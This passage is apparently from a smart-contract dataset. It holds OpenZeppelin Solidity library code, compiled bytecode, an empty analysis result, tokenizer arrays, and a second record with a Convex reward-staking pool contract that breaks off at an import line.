token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.5.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063872a78101161008c5780639852595c116100665780639852595c1461019c578063be9a6555146101c2578063f2fde38b146101ca578063fa01dc06146101f0576100cf565b8063872a7810146101705780638da5cb5b1461018c5780638f32d59b14610194576100cf565b80630fb5a6b4146100d457806313d033c0146100ee57806319165587146100f657806338af3eed1461011e578063715018a61461014257806374a8f1031461014a575b600080fd5b6100dc610216565b60408051918252519081900360200190f35b6100dc61021c565b61011c6004803603602081101561010c57600080fd5b50356001600160a01b0316610222565b005b610126610327565b604080516001600160a01b039092168252519081900360200190f35b61011c610336565b61011c6004803603602081101561016057600080fd5b50356001600160a01b03166103d9565b610178610601565b604080519115158252519081900360200190f35b61012661060a565b610178610619565b6100dc600480360360208110156101b257600080fd5b50356001600160a01b031661063d565b6100dc61065c565b61011c600480360360208110156101e057600080fd5b50356001600160a01b0316610662565b6101786004803603602081101561020657600080fd5b50356001600160a01b03166106c7565b60045490565b60025490565b600061022d826106e5565b905060008111610284576040805162461bcd60e51b815260206004820152601f60248201527f546f6b656e56657374696e673a206e6f20746f6b656e73206172652064756500604482015290519081900360640190fd5b6001600160a01b0382166000908152600660205260409020546102ad908263ffffffff61071d16565b6001600160a01b038084166000818152600660205260409020929092556001546102df9291168363ffffffff61077e16565b604080516001600160a01b03841681526020810183905281517fc7798891864187665ac6dd119286e44ec13f014527aeeb2b8eb3fd413df93179929181900390910190a15050565b6001546001600160a01b031690565b61033e610619565b61038f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6103e1610619565b610432576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460ff16610489576040805162461bcd60e51b815260206004820152601b60248201527f546f6b656e56657374696e673a2063616e6e6f74207265766f6b650000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff16156104e15760405162461bcd60e51b8152600401808060200182810382526023815260200180610e036023913960400191505060405180910390fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b15801561052b57600080fd5b505afa15801561053f573d6000803e3d6000fd5b505050506040513d602081101561055557600080fd5b505190506000610564836106e5565b90506000610578838363ffffffff6107d516565b6001600160a01b0385166000908152600760205260409020805460ff1916600117905590506105bf6105a861060a565b6001600160a01b038616908363ffffffff61077e16565b604080516001600160a01b038616815290517f39983c6d4d174a7aee564f449d4a5c3c7ac9649d72b7793c56901183996f8af69181900360200190a150505050565b60055460ff1690565b6000546001600160a01b031690565b600080546001600160a01b031661062e610817565b6001600160a01b031614905090565b6001600160a01b0381166000908152600660205260409020545b919050565b60035490565b61066a610619565b6106bb576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6106c48161081b565b50565b6001600160a01b031660009081526007602052604090205460ff1690565b6001600160a01b0381166000908152600660205260408120546107179061070b846108bb565b9063ffffffff6107d516565b92915050565b600082820183811015610777576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526107d0908490610a00565b505050565b600061077783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bbe565b3390565b6001600160a01b0381166108605760405162461bcd60e51b8152600401808060200182810382526026815260200180610d926026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b604080516370a0823160e01b8152306004820152905160009182916001600160a01b038516916370a08231916024808301926020929190829003018186803b15801561090657600080fd5b505afa15801561091a573d6000803e3d6000fd5b505050506040513d602081101561093057600080fd5b50516001600160a01b0384166000908152600660205260408120549192509061096090839063ffffffff61071d16565b905060025442101561097757600092505050610657565b60045460035461098c9163ffffffff61071d16565b421015806109b257506001600160a01b03841660009081526007602052604090205460ff165b156109c05791506106579050565b6109f76004546109eb6109de600354426107d590919063ffffffff16565b849063ffffffff610c5516565b9063ffffffff610cae16565b92505050610657565b610a12826001600160a01b0316610cf0565b610a63576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610aa15780518252601f199092019160209182019101610a82565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610b03576040519150601f19603f3d011682016040523d82523d6000602084013e610b08565b606091505b509150915081610b5f576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610bb857808060200190516020811015610b7b57600080fd5b5051610bb85760405162461bcd60e51b815260040180806020018281038252602a815260200180610dd9602a913960400191505060405180910390fd5b50505050565b60008184841115610c4d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610c12578181015183820152602001610bfa565b50505050905090810190601f168015610c3f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082610c6457506000610717565b82820282848281610c7157fe5b04146107775760405162461bcd60e51b8152600401808060200182810382526021815260200180610db86021913960400191505060405180910390fd5b600061077783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d2c565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590610d2457508115155b949350505050565b60008183610d7b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610c12578181015183820152602001610bfa565b506000838581610d8757fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564546f6b656e56657374696e673a20746f6b656e20616c7265616479207265766f6b6564a265627a7a72315820e9d16c7b95c406bafdafcc2c91138a0eabc3aaf016e0d4183e6877b3166b1ce364736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2546, 12521, 2629, 2546, 11387, 2063, 22932, 2050, 21619, 27717, 2497, 2620, 2063, 2509, 2050, 27009, 2692, 10354, 2581, 2683, 2475, 2497, 2581, 16409, 9468, 2063, 22394, 2487, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 6095, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 19204, 6961, 3436, 1008, 1030, 16475, 1037, 19204, 9111, 3206, 2008, 2064, 2713, 2049, 19204, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,532
0x96f18A6fE9B26eB7EBB7Ee298f7572171a1DfB7A
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "../libraries/Errors.sol"; import "../interfaces/ISwishPool.sol"; import "../interfaces/ISwishPoolManager.sol"; import "../interfaces/convex/IConvexBooster.sol"; import "../interfaces/convex/IBaseRewardPool.sol"; import "../interfaces/convex/IConvexToken.sol"; import "../interfaces/convex/IVirtualBalanceRewardPool.sol"; import "./SwishBaseMasterchef.sol"; contract SwishBasePool is SwishBaseMasterchef, ReentrancyGuardUpgradeable, ISwishPool { using SafeERC20Upgradeable for IERC20Upgradeable; event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 amount); event Harvest(address indexed user); address public constant CVX = 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B; address public constant CRV = 0xD533a949740bb3306d119CC777fa900bA034cd52; address public constant CONVEX_BOOSTER = 0xF403C135812408BFbE8713b5A23a04b3D48AAE31; address public bent; address public poolManager; address public override lpToken; uint256 public cvxPoolId; address public crvRewards; uint256 internal lastRewardBlock; // bent reward last block string public name; function initialize( address _poolManager, uint256 _cvxPoolId, string memory _name ) public initializer { __ReentrancyGuard_init(); poolManager = _poolManager; cvxPoolId = _cvxPoolId; name = _name; bent = ISwishPoolManager(poolManager).rewardToken(); rewardPools[0].rewardToken = IERC20Upgradeable(CRV); rewardPools[1].rewardToken = IERC20Upgradeable(CVX); (lpToken, , , crvRewards, , ) = IConvexBooster(CONVEX_BOOSTER).poolInfo( _cvxPoolId ); uint256 extraRewardsLength = IBaseRewardPool(crvRewards) .extraRewardsLength(); for (uint256 i = 0; i < extraRewardsLength; i++) { rewardPools[i + 2].rewardToken = IERC20Upgradeable( IVirtualBalanceRewardPool( IBaseRewardPool(crvRewards).extraRewards(i) ).rewardToken() ); } rewardPoolsCount = 2 + extraRewardsLength; } function pendingReward(address user) external view returns (uint256[] memory pending) { uint256 _rewardPoolsCount = rewardPoolsCount; pending = new uint256[](_rewardPoolsCount + 1); uint256[] memory addedRewards = _calcAddedRewards(); for (uint256 i = 0; i < _rewardPoolsCount; i++) { uint256 reward = super.pendingReward(i, user, addedRewards[i]); if (i == 1) { // calculate bent rewards amount based on CVX reward pending[0] = _getSwishEarned(reward); } pending[i + 1] = reward; } } function deposit(uint256 _amount) external nonReentrant { require(_amount != 0, Errors.ZERO_AMOUNT); _updateAccPerShare(); uint256 _before = IERC20(lpToken).balanceOf(address(this)); IERC20Upgradeable(lpToken).safeTransferFrom( msg.sender, address(this), _amount ); uint256 _after = IERC20(lpToken).balanceOf(address(this)); // Additional check for deflationary tokens _amount = _after - _before; _mint(msg.sender, _amount); // deposit to the convex booster IERC20Upgradeable(lpToken).safeApprove(CONVEX_BOOSTER, 0); IERC20Upgradeable(lpToken).safeApprove(CONVEX_BOOSTER, _amount); IConvexBooster(CONVEX_BOOSTER).deposit(cvxPoolId, _amount, true); _updateUserRewardDebt(); emit Deposit(msg.sender, _amount); } function withdraw(uint256 _amount) external nonReentrant { require( balanceOf[msg.sender] >= _amount && _amount != 0, Errors.INVALID_AMOUNT ); _updateAccPerShare(); _burn(msg.sender, _amount); // withdraw from the convex booster IBaseRewardPool(crvRewards).withdrawAndUnwrap(_amount, false); // transfer to msg.sender IERC20Upgradeable(lpToken).safeTransfer(msg.sender, _amount); _updateUserRewardDebt(); emit Withdraw(msg.sender, _amount); } function harvest() external virtual nonReentrant { _updateAccPerShare(); require(_harvest(), Errors.NO_PENDING_REWARD); _updateUserRewardDebt(); emit Harvest(msg.sender); } function harvestFromConvex() external nonReentrant { uint256 i; uint256[] memory claimBalances = new uint256[](rewardPoolsCount); // save balances before claim for (i = 0; i < rewardPoolsCount; i++) { claimBalances[i] = rewardPools[i].rewardToken.balanceOf( address(this) ); } IBaseRewardPool(crvRewards).getReward(address(this), true); for (i = 0; i < rewardPoolsCount; i++) { claimBalances[i] = rewardPools[i].rewardToken.balanceOf(address(this)) - claimBalances[i]; } ( uint256 harvesterFee, address bentStaker, uint256 bentStakerFee, address cvxStaker, uint256 cvxStakerFee ) = ISwishPoolManager(poolManager).feeInfo(); for (i = 0; i < rewardPoolsCount; i++) { if (claimBalances[i] > 0) { if (harvesterFee > 0) { // harvesterFee to msg.sender rewardPools[i].rewardToken.safeTransfer( msg.sender, (claimBalances[i] * harvesterFee) / 10000 ); } if (bentStakerFee > 0) { // bentStakerFee to bentStaker rewardPools[i].rewardToken.safeTransfer( bentStaker, (claimBalances[i] * bentStakerFee) / 10000 ); } if (cvxStakerFee > 0) { // cvxStakerFee to cvxStaker rewardPools[i].rewardToken.safeTransfer( cvxStaker, (claimBalances[i] * cvxStakerFee) / 10000 ); } } } } // Internal Functions function _updateAccPerShare() internal { uint256[] memory addedRewards = _calcAddedRewards(); uint256 _rewardPoolsCount = rewardPoolsCount; for (uint256 i = 0; i < _rewardPoolsCount; i++) { super.updateAccPerShare(i, addedRewards[i]); super.withdrawReward(i, msg.sender); } lastRewardBlock = block.number; } function _calcAddedRewards() internal view returns (uint256[] memory addedRewards) { uint256 _rewardPoolsCount = rewardPoolsCount; addedRewards = new uint256[](_rewardPoolsCount); for (uint256 i = 0; i < _rewardPoolsCount; i++) { addedRewards[i] = rewardPools[i].rewardToken.balanceOf(address(this)) - rewardPools[i].lastReward - rewardPools[i].pendingReward; } } function _updateUserRewardDebt() internal { uint256 _rewardPoolsCount = rewardPoolsCount; for (uint256 i = 0; i < _rewardPoolsCount; i++) { super.updateUserRewardDebt(i, msg.sender); } } function _harvest() internal returns (bool harvested) { uint256 _rewardPoolsCount = rewardPoolsCount; for (uint256 i = 0; i < _rewardPoolsCount; i++) { uint256 harvestAmount = super.harvest(i, msg.sender); if (harvestAmount > 0) { if (i == 1) { // CVX ISwishPoolManager(poolManager).mint( msg.sender, harvestAmount ); } rewardPools[i].rewardToken.safeTransfer( msg.sender, harvestAmount ); harvested = true; } } } function _mint(address _user, uint256 _amount) internal { balanceOf[_user] += _amount; totalSupply += _amount; } function _burn(address _user, uint256 _amount) internal { balanceOf[_user] -= _amount; totalSupply -= _amount; } function _getSwishEarned(uint256 cvxEarned) internal view returns (uint256) { uint256 supply = IConvexToken(bent).totalSupply(); if (supply == 0) { return cvxEarned; } uint256 totalCliffs = IConvexToken(bent).totalCliffs(); uint256 cliff = supply / IConvexToken(bent).reductionPerCliff(); if (cliff < totalCliffs) { uint256 reduction = totalCliffs - cliff; uint256 _amount = cvxEarned; _amount = (_amount * reduction) / totalCliffs; //supply cap check uint256 amtTillMax = IConvexToken(bent).maxSupply() - supply; if (_amount > amtTillMax) { _amount = amtTillMax; } return _amount; } return 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; import "../../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import 